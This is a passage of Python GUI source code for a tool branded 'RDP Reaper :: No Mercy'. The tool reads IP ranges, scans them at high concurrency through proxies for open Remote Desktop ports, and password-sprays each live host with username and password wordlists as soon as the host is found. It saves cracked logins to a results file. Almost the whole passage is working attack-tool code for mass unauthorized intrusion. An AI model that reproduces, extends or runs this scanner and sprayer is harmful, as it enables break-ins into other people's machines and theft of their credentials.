sticky="w", padx=5) port_entry = ttk.Entry(frame, width=10) port_entry.insert(0, "3389") port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2) tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5) user_entry = ttk.Entry(frame, width=30) user_entry.grid(row=2, column=1, padx=5, pady=2) def connect(): ip = ip_entry.get().strip() port_str = port_entry.get().strip() port = int(port_str) if port_str.isdigit() else 3389 user = user_entry.get().strip() self._rdp_connect(ip, port, user) dialog.destroy() ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton", command=connect).pack(pady=10) # ── HELPERS ──────────────────────────────────────────── def _browse_ranges(self): path = filedialog.askopenfilename( title="Select ranges file", filetypes=[("Text files", "*.txt"), ("All files", "*.*")] ) if path: self.ranges_entry.delete(0, "end") self.ranges_entry.insert(0, path) def _browse_file(self, which: str): path = filedialog.askopenfilename( title=f"Select {which} file", filetypes=[("Text files", "*.txt"), ("All files", "*.*")] ) if path: entry = getattr(self, f"{which}_entry", None) if entry: entry.delete(0, "end") entry.insert(0, path) def _quick_add_ip(self): dialog = tk.Toplevel(self.root) dialog.title("Quick Add IP") dialog.geometry("350x120") dialog.configure(bg=Colors.BG_DARK) dialog.transient(self.root) dialog.grab_set() tk.Label(dialog, text="Enter IP, range, or CIDR:", fg=Colors.TEXT, bg=Colors.BG_DARK, font=("Segoe UI", 9)).pack(pady=(10, 5)) entry = ttk.Entry(dialog, width=45) entry.pack(pady=5) entry.focus() def add(): ip = entry.get().strip() if ip: rp = self.ranges_entry.get().strip() if rp: try: with open(rp, 'a') as f: f.write(f"\n{ip}") self._log(f"\u2795 Added target: {ip}", "system") except OSError as e: self._log(f"\u274c Failed to write: {e}", "error") else: self._log("\u274c No ranges file path set!", "error") dialog.destroy() ttk.Button(dialog, text="Add Target", command=add).pack() def _refresh_good(self): self.good_text.delete("1.0", "end") good_path = os.path.join(RESULTS_DIR, "good.txt") if os.path.exists(good_path): with open(good_path, 'r') as f: self.good_text.insert("1.0", f.read()) def _update_host_status(self, ip, port, status, user="", pwd=""): """Update the status of a host in the treeview.""" key = (ip, port) if key in self.host_items: item_id = self.host_items[key] self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd: self.host_tree.item(iid, values=(ip, str(port), s, u, pw))) else: # New host - insert row self.root.after(0, lambda i=ip, p=port, s=status: self._insert_host(i, p, s)) def _insert_host(self, ip, port, status): item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", "")) self.host_items[(ip, port)] = item_id # ── SCAN LOGIC ───────────────────────────────────────── def _start_scan(self): if self.scanning: return self.scanning = True self.start_btn.config(state="disabled") self.stop_btn.config(state="normal") self.stats = ScanStats(start_time=time.time(), phase="scanning") for item in self.host_tree.get_children(): self.host_tree.delete(item) self.host_items.clear() self.live_hosts.clear() self.hits.clear() self._log("\u2501" * 55, "system") self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan") print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510")) print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502")) print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518")) # Read tkinter vars on MAIN thread (Tcl NOT thread-safe) scan_speed = self.speed_var.get() scan_timeout = self.timeout_var.get() scan_ports = [p for p, v in self.port_vars.items() if v.get()] scan_randomize = self.randomize_var.get() spray_enabled = self.spray_var.get() ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else "" users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else "" pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else "" thread = threading.Thread( target=self._scan_worker, args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled, ranges_path, users_file, pass_file), daemon=True ) thread.start() def _stop_scan(self): self.scanning = False self._log("\u25a0 STOP signal sent (finishing current batch)", "error") def _clear_results(self): for item in self.host_tree.get_children(): self.host_tree.delete(item) for item in self.hit_tree.get_children(): self.hit_tree.delete(item) self.host_items.clear() self.live_hosts.clear() self.hits.clear() self.log_text.delete("1.0", "end") self.stats = ScanStats() def _load_wordlists(self, users_path="", pass_path=""): """Load usernames and passwords from files (or use defaults).""" usernames = TOP_USERNAMES passwords = TOP50_PASSWORDS if users_path: uf = users_path else: uf = self.users_entry.get().strip() if os.path.exists(uf): with open(uf, 'r', errors='ignore') as f: cu = [l.strip() for l in f if l.strip()] if cu: usernames = cu if pass_path: pf = pass_path else: pf = self.pass_entry.get().strip() if os.path.exists(pf): with open(pf, 'r', errors='ignore') as f: cp = [l.strip() for l in f if l.strip()] if cp: passwords = cp return usernames, passwords def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled, ranges_path="", users_path="", pass_path=""): """Background thread: scan + spray run CONCURRENTLY. All tkinter values are passed from main thread (Tcl NOT thread-safe). """ try: loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) if not ranges_path or not os.path.exists(ranges_path): self._log(f"\u274c Ranges file not found: {ranges_path}", "error") self._scan_done() return self._log("\U0001f4ca Counting targets...", "system") total_ips = count_ips(ranges_path) self.stats.total = total_ips ips = list(parse_ranges_file(ranges_path)) if not ips: self._log("\u274c No valid IPs found in ranges file!", "error") self._scan_done() return if randomize: random.shuffle(ips) if not active_ports: active_ports = [3389] self.stats.total = len(ips) * len(active_ports) self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports " f"({speed:,} concurrent)", "system") print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports")) print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s")) print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found")) print(_c("\033[90m", " [+] " + "\u2500" * 55)) # Load wordlists now (in the background thread, before async loop) usernames, passwords = self._load_wordlists(users_path, pass_path) self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system") # ── Streaming design ───────────────────────────── # Scan calls live_callback immediately for each live host. # The callback adds the host to a queue, and spray tasks # are created as they arrive — all within the same loop. spray_tasks = [] def on_live_host(ip: str, port: int): """Called IMMEDIATELY from the scanner when a host is found.""" if not self.scanning: return self.live_hosts.add((ip, port)) self.stats.live = len(self.live_hosts) self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan") self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...") print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW")) if spray_enabled: # Create an asyncio task for this host's spray task = asyncio.create_task( self._spray_host(loop, ip, port, usernames, passwords) ) spray_tasks.append(task) def progress_cb(checked, total, found, rate): if not self.scanning: return self.stats.checked = checked self.stats.live = found self.stats.rate = rate # Run scan — live_callback fires immediately for each live host scan_task = asyncio.create_task( scan_ips( ips, ports=active_ports, max_concurrent=speed, connect_timeout=timeout, banner_check=False, progress_callback=progress_cb, live_callback=on_live_host, proxy_manager=self.proxy_manager ) ) # Wait for scan to finish (spray tasks run alongside) loop.run_until_complete(scan_task) # Wait for remaining spray tasks to finish if spray_tasks: self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system") loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True)) self._scan_done() except Exception as e: self._log(f"\u274c ERROR: {e}", "error") import traceback for line in traceback.format_exc().split('\n'): if line.strip(): self._log(f" {line}", "error") self._scan_done() async def _spray_host(self, loop, ip, port, usernames, passwords): """Spray ALL passwords against a single host.""" try: hits = await spray_single_host( ip, port, usernames=usernames, passwords=passwords, max_concurrent=50, timeout=5.0, hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw), proxy_manager=self.proxy_manager ) if not hits: if credential_validation_available(): self._update_host_status(ip, port, "\u274c No hit") self._log(f"\u274c {ip}:{port} \u2014 no matching credentials", "info") else: self._update_host_status( ip, port, "\u26a0 No credential validator", ) else: self._update_host_status(ip, port, "\u2705 CRACKED!", hits[0][2], hits[0][3]) self.stats.hits = len(self.hits) except Exception as e: self._log(f"Spray error on {ip}:{port}: {e}", "error") def _on_hit_found(self, ip, port, user, pwd): """Called immediately when a credential hit is found.""" ts = time.strftime("%H:%M:%S") self.hits.append((ip, port, user, pwd)) self.stats.hits = len(self.hits) # GUI updates must happen on main thread self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts: self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t))) self._write_good(ip, port, user, pwd) def _write_good(self, ip: str, port: int, user: str, pwd: str): good_path = os.path.join(RESULTS_DIR, "good.txt") with open(good_path, 'a') as f: f.write(f"{user}:{pwd}@{ip}:{port}\n") def _scan_done(self): self.scanning = False self.stats.phase = "done" self.root.after(0, lambda: self.start_btn.config(state="normal")) self.root.after(0, lambda: self.stop_btn.config(state="disabled")) self._log("\u25a0 SCAN COMPLETE", "scan") print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE")) print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}")) print(_c("\033[96m", " \u2500" * 55)) def _on_close(self): self.scanning = False self.root.destroy() def run(self): self.root.mainloop()